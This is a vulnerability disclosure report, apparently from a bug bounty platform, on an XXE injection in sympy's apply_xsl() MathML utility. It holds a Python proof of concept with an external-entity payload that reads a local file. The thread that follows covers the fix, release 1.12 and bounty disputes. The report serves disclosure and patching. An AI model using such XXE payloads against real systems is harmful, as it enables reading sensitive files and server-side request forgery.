XML External Entity (XXE) injection in sympy in sympy/sympy

Valid

Reported on

Mar 29th 2023


Description

Sympy is an open source platform that a computer algebra system written in pure Python . Sympy is vulnerable to an XML External Entity (XXE) injection in the apply_xsl() functionality of Sympy due to the usage of etree.XML.

Proof of Concept

// PoC.py
from sympy.utilities.mathml import apply_xsl
xsl = 'mathml/data/simple_mmlctop.xsl'

mml = '''
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///d:/test/sensitive.txt"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
'''

res = apply_xsl(mml,xsl)

print(res)

OUTPUT:

<?xml version="1.0"?>
<userInfo>
<firstName>John</firstName>
<lastName>
SENSITIVE INFORMATION.
USERNAME: TEST
PASSWORD: TEST
</lastName>
</userInfo>

Impact

As this vulnerable to XXE, which may lead to Arbitrary File Read, DoS, SSRF.

We are processing your report and will contact the sympy team within 24 hours. 2 months ago
ready-research submitted a
2 months ago
ready-research
2 months ago

Researcher


@maintainer Please use the above patch to mitigate this vulnerability. Thanks.

ready-research modified the report
2 months ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md 2 months ago
We have opened a pull request with a SECURITY.md for sympy to merge. 2 months ago
ready-research
2 months ago

Researcher


@admin Can u please check the comments in https://github.com/sympy/sympy/pull/24997. And send this report to appropriate people. Thanks.

We have contacted a member of the sympy team and are waiting to hear back 2 months ago
sympy/sympy maintainer
2 months ago

Maintainer


Can you please explain the attack vector here? If you use Python, you can just open the file d:/test/sensitive.txt directly using open("d:/test/sensitive.txt").

sympy/sympy maintainer
2 months ago

Maintainer


A PR has been merged to fix this: https://github.com/sympy/sympy/pull/25007

Also another PR for the imminent 1.12 release: https://github.com/sympy/sympy/pull/25010

Can you confirm if that fixes the issue?

ready-research
2 months ago

Researcher


Hi @maintainer, tested on the latest code base, and I can confirm that the issue is resolved.

Can you please validate this issue, confirm the fix and assign a CVE? Thanks.

We have sent a follow up to the sympy team. We will try again in 7 days. 2 months ago
We have sent a second follow up to the sympy team. We will try again in 10 days. a month ago
We have sent a third and final follow up to the sympy team. This report is now considered stale. a month ago
ready-research
13 days ago

Researcher


Hi @maintainer, 1.12 version is released with fix, can you please Mark this as VALID and add the patch! https://github.com/sympy/sympy/commit/2c3de5f49f294b7f84b3d58fe15e90b49b9316dc

Oscar Benjamin validated this vulnerability 12 days ago
ready-research has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
ready-research
12 days ago

Researcher


Hi @admin / @psmoros, I saw a comment in sympy which says

Hi team! To shed some light on what we do; a company that depends on SymPy is sponsoring security research into your project: up to $1040 per valid vulnerability for the researcher and $260 for the maintainer.

https://github.com/sympy/sympy/pull/24997#issuecomment-1493015185

Can you please allocate the bounty as per the comments? Thanks.

ready-research
12 days ago

Researcher


Hi @admin, can you please help the maintainer to solve the issue like how to add the patch in comment?

ready-research
9 days ago

Researcher


Hi @admin,

Just a reminder to adjust the disclosure bounty up to $1040 per valid vulnerability. And help the maintainer to add patches. Thanks.

ready-research
4 days ago

Researcher


Hi @admin, gentle reminder for the above ^^

Ben Harvie
3 days ago

Admin


Hey ready-research, I've reached out to @psmoros to get more information on this:)

sympy/sympy maintainer
3 days ago

Maintainer


Is there anything I should be doing here? The issue is fixed now and the fix is released.

Pavlos
3 days ago

Admin


Yes, please mark it as fixed and publish it using the green button above the comment section "Mark as fixed"

ready-research
2 days ago

Researcher


@psmoros @admin, can you please also look into the issue with the disclosure bounty? Thanks.

sympy/sympy maintainer marked this as fixed in 1.12 with commit e2734b 2 days ago
ready-research has been awarded the fix bounty
This vulnerability will not receive a CVE
sympy/sympy maintainer published this vulnerability 2 days ago
__init__.py#L39 has been validated
ready-research
2 days ago

Researcher


Hi @admin, can you please also look into the issue with the bounty?

@psmoros @Pavlos @benharvie @adam-nygate

Pavlos
a day ago

Admin


What's the issue with the bounty?

ready-research
19 hours ago

Researcher


Hi @psmoros, https://github.com/sympy/sympy/pull/24997#issuecomment-1493015185 As per the comments disclosure bounty up to $1040 per valid vulnerability, but here we have only $75. Can you please adjust the bounty to $1040?

ready-research
18 hours ago

Researcher


@admin @Pavlos ^^

to join this conversation